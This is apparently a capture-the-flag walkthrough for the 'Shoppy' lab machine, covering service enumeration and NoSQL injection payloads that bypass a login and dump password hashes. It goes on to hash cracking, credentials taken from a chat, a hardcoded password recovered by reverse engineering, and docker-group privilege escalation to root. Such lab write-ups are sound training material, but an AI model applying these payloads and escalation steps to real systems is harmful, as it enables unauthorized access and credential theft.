



# Shoppy

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Difficulty: **Easy**

## Synopsis

Shoppy is an easy Linux machine that features a website with a login panel and a user search

functionality, which is vulnerable to NoSQL injection. It can be exploited to obtain the password hashes of all the users. Upon cracking the password hash for one of the users we can authenticate into the Mattermost chat running on the server where we obtain the SSH credentials for user `jaeger`. The lateral movement to user `deploy` is performed by reverse engineering a password manager binary, which reveals the password for the user. We discover that the user `deploy` is a member of the group `docker`. Its privileges can be exploited to read the root flag.

## Skills required

- Web Enumeration
- Linux Fundamentals

## Skills learned

- NoSQL Injection
- Reverse Engineering
- Exploiting `docker` usergroup privileges

# Enumeration

## Nmap

Let's run a Nmap scan to discover any open ports on the remote host.

```
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.170 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$/\\n/)  
nmap -p$ports -sV 10.10.11.180
```




```
nmap -p$ports -sV 10.10.11.180  
  
Starting Nmap 7.92 ( https://nmap.org )  
Nmap scan report for 10.10.11.180  
Host is up (0.26s latency).  
Not shown: 65532 closed tcp ports (reset)  
  
PORT      STATE SERVICE VERSION  
22/tcp    open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)  
80/tcp    open  http     nginx 1.23.1  
9093/tcp  open  copycat?
```

The Nmap scan shows that SSH is listening on its default port, i.e. `port 22` and a `nginx` HTTP web server is running on port `80`. There's another open port `9093` whose service is not recognized by Nmap.

## HTTP


Upon browsing to `port 80`, we are redirected to the domain `shoppy.htb`.



Let's add an entry for `shoppy.htb` in our `/etc/hosts` file with the corresponding IP address in order to resolve the domain name and allow us to access it in our browser.

```
echo "10.10.11.180 shoppy.htb" | sudo tee -a /etc/hosts
```

Now, let us visit `shoppy.htb` in the browser.



We can see a timer running on the website which seems like a countdown for the launch of a beta version of the Shoppy application. We don't see any usable functionality on this index page.

The information about the launch of a beta version of the application does hint towards the presence of some hidden webpage on this machine.

Let us perform sub-domain enumeration to discover any potentially useful sub-domain. There are several tools out there to perform this action, however, we will be using the `wfuzz` utility in this writeup. It can be installed on Kali Linux using the following command.

```
sudo apt install wfuzz
```

We will be using the following flags with `wfuzz` in the scan.

```
-c : to get colored output  
-w : to specify the wordlist  
-u : to specify the URL  
-H : to specify the HTTP HOST header  
--hc : to hide the result entries with the specified HTTP status code
```

HTTP status code `301` signifies a "permanent redirect", so let us hide result entries with this status code.

```
wfuzz -c -w wordlist.txt -u 10.10.11.180 -H "Host: FUZZ.shoppy.htb" --hc 301
```



```
wfuzz -c -w SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u 10.10.11.180 -H "Host: FUZZ.shoppy.htb" --hc 301

/usr/lib/python3/dist-packages/wfuzz/_init_.py:34: UserWarning:Pycurl is not compiled
against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's
documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****


Target: http://10.10.11.180/
Total requests: 100000

=====
ID      Response    Lines    Word    Chars    Payload
=====

0000000006:   200        0 L      141 W     3122 Ch    "mattermost"

[** SNIP **]
```

The scan revealed the `mattermost.shoppy.htb` vHost so let's add it to our `/etc/hosts` file.

```
echo "10.10.11.180 mattermost.shoppy.htb" | sudo tee -a /etc/hosts
```


## What is Mattermost?

Mattermost is an open-source, self-hostable online chat service which features file sharing, search, and integrations. It is designed as an internal chat for organisations and companies and prominently markets itself as an open-source alternative to Slack and Microsoft Teams.

The webpage presents us with Mattermost login panel. We can try a few default credentials but they don't seem to work.

# Log in to your account

Collaborate with your team in real-time



Log in

Email or Username

Password

[Forgot your password?](#)

[Log in](#)

Let us also enumerate the website for any hidden sub-directories. We will be using the following flags with `wfuzz` in the scan.

```
-c      : to get colored output
-w      : to specify the wordlist
--hc : to hide the result entries with the specified HTTP status code
```

HTTP status code `404` signifies "page not found", so let us hide result entries with this status code.

```
wfuzz -c --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
'http://shoppy.htb/FUZZ'
```

```
wfuzz -c --hc 404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 'http://shoppy.htb/FUZZ'

/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl.
Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****


Target: http://shoppy.htb/FUZZ
Total requests: 220560

=====
ID      Response    Lines   Word    Chars   Payload
=====


[** SNIP **]

000000053: 200      25 L     62 W     1074 Ch   "login"
000000259: 302      0 L      4 W      28 Ch    "admin"
000000291: 301      10 L     16 W     179 Ch   "assets"
000000550: 301      10 L     16 W     173 Ch   "css"
000000953: 301      10 L     16 W     171 Ch   "js"
000002771: 301      10 L     16 W     177 Ch   "fonts"
```

The following entries in the `wfuzz` result seem to be interesting.

```
admin
login
```

Upon, browsing these subdirectories we find that the `/admin` redirects us to the `/login` page. Upon visiting `/login`, we can see an admin login page for Shoppy.



As this is a custom web application, It is worth checking for the presence of SQL injection on the login panel.

We can try the following basic SQLi payload.

```
admin' or 1=1#
```

It seems to do nothing. Let's attempt a NoSQL injection. A basic NoSQL query in the backend code for a login panel would look like this:

```
this.username === '${value}' && this.password === '${value}'
```

If we assume the user is `admin`, we can try to bypass this query by using the following payload:

```
admin' || '' === ''
```

This payload will make the query look as follows under the hood when the values are replaced.

```
this.username === 'admin' || '' === '' && this.password === 'value'
```

Using the above payload in the username field we are able to bypass the authentication.

Now, we have access to the admin page. We can see a "Search for users" button at the top, which seems to be the only interesting functionality on the webpage.




### Products of Shoppy App


Q. Search for users

Name	Price
PC	1145\$
Smartphone	200\$
Backpack	30\$
Jacket	20\$
Ventilator	2\$
Controller	15\$

Upon clicking on that button, we are redirected to a different page, which has a search panel to search for users.



As we know that one of the users is `admin`, let us search for the user `admin` in the search panel.



The result shows a "Download export" button. Clicking on it leads us to a JSON export containing the password hash for the user `admin`.

JSON Raw Data Headers

Save Copy Collapse All Expand All Filter JSON

▼ 0:

```
_id: "62db0e93d6d6a999a66ee67a"
username: "admin"
password: "23c6877d9e2b564ef8b32c3a23de27b2"
```

We know that the app is vulnerable to NoSQL injection, thus, let us try to exploit it using the following payload in the search query and extract the data for all the users in the database.

```
'; return '' == '
```

JSON Raw Data Headers

Save Copy Collapse All Expand All Filter JSON

▼ 0:

```
_id: "62db0e93d6d6a999a66ee67a"
username: "admin"
password: "23c6877d9e2b564ef8b32c3a23de27b2"
```

▼ 1:

```
_id: "62db0e93d6d6a999a66ee67b"
username: "josh"
password: "6ebcea65320589ca4f2f1ce039975995"
```

```
[
{
  "_id": "62db0e93d6d6a999a66ee67a",
  "username": "admin",
  "password": "23c6877d9e2b564ef8b32c3a23de27b2"
},
{
  "_id": "62db0e93d6d6a999a66ee67b",
  "username": "josh",
  "password": "6ebcea65320589ca4f2f1ce039975995"
}
```

We obtain 2 users namely `admin` & `josh` and their corresponding password hashes. We can use the `hash-identifier` tool to identify the type of hash.

```
hash-identifier 23c6877d9e2b564ef8b32c3a23de27b2
hash-identifier 6ebcea65320589ca4f2f1ce039975995
```



```
hash-identifier 23c6877d9e2b564ef8b32c3a23de27b2

Possible Hashes:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) 

hash-identifier 6ebcea65320589ca4f2f1ce039975995

Possible Hashes:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
```

It can be inferred from the results that these are `MD5` hashes.

We can try to run a dictionary attack against these hashes using the `hashcat` utility, to attempt and find the original password. It can be installed on Kali Linux using the following command.

```
sudo apt install hashcat
```

First, we will store the hashes in a file named `hashes.txt`.

```
cat hashes.txt
```

```
23c6877d9e2b564ef8b32c3a23de27b2
6ebcea65320589ca4f2f1ce039975995
```

While using `hashcat` we need to specify the type of hash that is to be cracked using the `-m` flag along with the numeric code for the hash type. The list of numeric codes for the hash types can be viewed on the `man` page of `hashcat` using the command `man hashcat`. The numeric code for the `MD5` hash type is `0`.

The `--show` flag displays the cracked hash value. We will be using the following command to crack the hashes using `hashcat`.

```
hashcat --show -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
```



```
hashcat --show -m 0 hashes.txt /usr/share/wordlists/rockyou.txt
```

```
6ebcea65320589ca4f2f1ce039975995:remembermethisway
```


We were only able to crack the password hash for user `josh`.

```
username: josh
```

```
password: remembermethisway
```

Trying to log in over SSH as user `josh` with the cracked password leads to a failed attempt.

Let us move over to the `mattermost.shoppy.htb` sub-domain and try these credentials on its login panel.



We are successfully logged into the Mattermost chat system as user `josh`. Browsing through the internal chats, we can see a set of credentials inside the "Deploy Machine" text channel. Along with the credentials, we can also see a message regarding deployment using docker.

Shoppy

Find channel

Threads

CHANNELS

- Coffee Break
- Deploy Machine
- Development
- Town Square

DIRECT MESSAGES

- feedbackbot
- Invite Members

Deploy Machine

You were added to the channel by @jaeger.

jaeger 1:52 PM Hey @josh,

For the deploy machine, you can create an account with these creds :

username: jaeger  
password: Sh0ppyBest@pp!

And deploy on it. Edited

josh 1:54 PM Thanks, I'll remember that  
The deploy machine will be created within the next 24h

jaeger 1:54 PM Okay, good luck for that

josh 1:55 PM Oh I forgot to tell you, that we're going to use docker for the deployment, so I will add it to the first deploy Edited

jaeger 1:56 PM Nice, tell me when all is done

josh 1:56 PM Sure I will

jaeger 1:56 PM Ok, thanks

```
username: jaeger
password: Sh0ppyBest@pp!
```

Let us try these credentials to login over SSH.

```
ssh jaeger@10.10.11.180
```

```
ssh jaeger@10.10.11.180
jaeger@10.10.11.180's password:
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

jaeger@shoppy:~$ id
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger)
```

We are successfully logged in as user `jaeger`. The user flag can be obtained at `/home/jaeger`.

```
cat /home/jaeger/user.txt
```

# Lateral Movement

Upon checking the `sudo` permissions for the user `jaeger` we discover that he can run the `/home/deploy/password-manager` binary as the user `deploy`.

```
sudo -l
```

```
sudo -l
[sudo] password for jaeger:

Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
```

The following message from user Josh in the Mattermost chat also hints towards the presence of a password manager application made using C++.

The screenshot shows two Mattermost channels: "Shoppy" and "Development". The "Shoppy" channel has a sidebar with "Threads" and "CHANNELS" (Coffee Break, Deploy Machine, Development, Town Square). The "Development" channel has a sidebar with "Add a channel header" and a table showing file sizes for various files: Smartphone (2005), Backpack (305), Jackel (205), Ventilator (25), and Controller (110). A message from user "josh" is highlighted with a red box: "Hey @jaeger, when I was trying to install docker on the machine, I started learn C++ and I do a password manager. You can test it if you want, the program is on the deploy machine." User "jaeger" replies: "Nice, I will take a look at it".

Let's run this `password-manager` binary in order to understand its functionality.

```
sudo -u deploy /home/deploy/password-manager
```



```
sudo -u deploy /home/deploy/password-manager
```

```
Welcome to Josh password manager!  
Please enter your master password: test_password  
Access denied! This incident will be reported !
```

It asks for a master password which we do not know, thus, let us fetch this binary to our local machine to be able to analyze it.

We can use `scp` (Secure Copy Protocol) to transfer it locally.

```
scp jaeger@10.10.11.180:/home/deploy/password-manager ./password-manager
```



```
scp jaeger@10.10.11.180:/home/deploy/password-manager ./password-manager
```

```
jaeger@10.10.11.180's password:  
password-manager
```

```
100% 18KB 6.4KB/s 00:02
```

## What is `scp`?

SCP (Secure Copy Protocol) is a network protocol used to securely copy files/folders between Linux (Unix) systems on a network

Let us use this tool called `ghidra` to reverse engineer the password manager binary and analyze its source code. It can be installed on Kali Linux using the following command.

```
sudo apt install ghidra
```

The decompiled source code of the `main()` function is as follows.

```

1 bool main(void)
2 {
3     int iVar1;
4     basic_ostream *pbVar2;
5     basic_string<char, std::char_traits<char>, std::allocator<char>> local_68 [32];
6     basic_string local_48 [47];
7     allocator<char> local_19 [9];
8
9     iVar1 = 0;
10    pbVar2 = std::operator<<((basic_ostream *)std::cout, "Welcome to Josh password manager!");
11    std::operator<<((basic_ostream<char, std::char_traits<char>, std::allocator<char>> *)pbVar2,
12                      std::endl<char, std::char_traits<char>>());
13    std::operator<<((basic_ostream *)std::cout, "Please enter your master password: ");
14    std::cin.read(local_48, 47);
15    /* try { // try from 00101263 to 00101267 has its CatchHandler @ 001013cb */
16    std::operator>>((basic_istream *std::cin, local_48),
17                    std::allocator<char>::allocator());
18    /* try { // try from 00101286 to 0010128a has its CatchHandler @ 001013a9 */
19    std::operator>>((basic_istream *std::cin, local_48),
20                    std::allocator<char>::allocator());
21    /* try { // try from 001012a5 to 00101387 has its CatchHandler @ 001013ba */
22    std::operator>>((basic_istream *std::cin, local_48),
23                    std::allocator<char>::allocator());
24    std::operator+=((local_68, "S"));
25    std::operator+=((local_68, "a"));
26    std::operator+=((local_68, "m"));
27    std::operator+=((local_68, "l"));
28    std::operator+=((local_68, "e"));
29    iVar1 = std::basic_string<char, std::char_traits<char>, std::allocator<char>>::compare
30                  (local_48);
31
32    iVar1 = std::basic_string<char, std::char_traits<char>, std::allocator<char>>::compare
33                  (local_48);
34
35    iVar1 = std::basic_string<char, std::char_traits<char>, std::allocator<char>>::compare
36                  (local_48);
37
38    iVar1 = std::basic_string<char, std::char_traits<char>, std::allocator<char>>::compare
39                  (local_48);

```

We can see that on lines 15 to 18 the master password which we entered is stored in the string variable `local_48`. On line 37 there is a `compare` operation being performed on the variable `local_48` and on line numbers 25 to 36, we can evidently see a string being formed character by character. The string resolved to `Sample`. It seems like this is the master password.

Upon using the master password `sample` in the password manager application, we are granted access and given a set of credentials for the user `deploy`.

```
sudo -u deploy /home/deploy/password-manager
```

```

sudo -u deploy /home/deploy/password-manager

Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

```

```
username: deploy  
password: Deploying@pp!
```

# Privilege Escalation

Let us try to login as user `deploy` over SSH by using the obtained credentials.

```
ssh deploy@10.10.11.180
```



```
ssh deploy@10.10.11.180  
  
deploy@10.10.11.180's password:  
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
$ bash  
  
deploy@shoppy:~$ id  
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
```

We can see that the user `deploy` is a member of the `docker` group which means that it is privileged enough to run docker. Upon running a quick Google search along the keywords "docker group privilege escalation", we come across [this article](#).

This privilege escalation technique works by making use of a Linux image, preferably Alpine Linux as it is a lightweight Linux distribution. This Linux image can then be imported into docker and then we can mount the host file system with root privileges onto the local file system of this container.

If we list the docker images present on the box using the following command, we can see that the `alpine` linux image is already present.

```
docker images
```



```
docker images  
  
REPOSITORY      TAG      IMAGE ID      CREATED      SIZE  
alpine          latest    d7d3d98c851f   3 months ago  5.53MB
```

Let us now run the docker container with this alpine linux image and mount the `/root` directory of the host file system onto the `/mnt` directory of the container's file system. We will be using the `docker run` command along with the following flags.

```
-v [HOST-DIR:]CONTAINER-DIR
    This creates a bind mount. If we specify, -v /HOST-DIR:/CONTAINER-DIR, Docker
    bind mounts /HOST-DIR in the host to /CONTAINER-DIR in the Docker
    container.

-it :
    puts the Docker container into the shell mode rather than starting a daemon
    process.
```

More information about the `docker run` command and it's corresponding flags can be found [here](#) in the official documentation.

```
docker run -it -v /root:/mnt alpine
```

```
docker run -it -v /root:/mnt alpine

/ # id
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape)
,27(video)

/ # cd /mnt

/mnt # ls -al
total 32
drwx----- 5 root      root          4096 Aug 10 10:00 .
drwxr-xr-x  1 root      root          4096 Oct 21 12:33 ..
lrwxrwxrwx  1 root      root          9 Jul 22 16:46 .bash_history -> /dev/null
-rw-r--r--  1 root      root         571 Apr 10 2021 .bashrc
drwx----- 3 root      root          4096 Jul 22 16:40 .cache
drwx----- 3 root      998          4096 Jul 22 18:32 .config
lrwxrwxrwx  1 root      root          9 Jul 23 10:17 .dbshell -> /dev/null
drwxr-xr-x  3 root      root          4096 Jul 22 16:47 .local
-rw-----  1 root      root          0 Jul 23 10:16 .mongorc.js
-rw-r--r--  1 root      root         161 Jul  9 2019 .profile
-rw-r----- 1 root      root         33 Oct 21 12:30 root.txt

/mnt # ls
root.txt

/mnt # cat root.txt
8d5*****
```

As the root flag is present at `/root/root.txt`, we can obtain it at `/mnt/root.txt` in this docker container.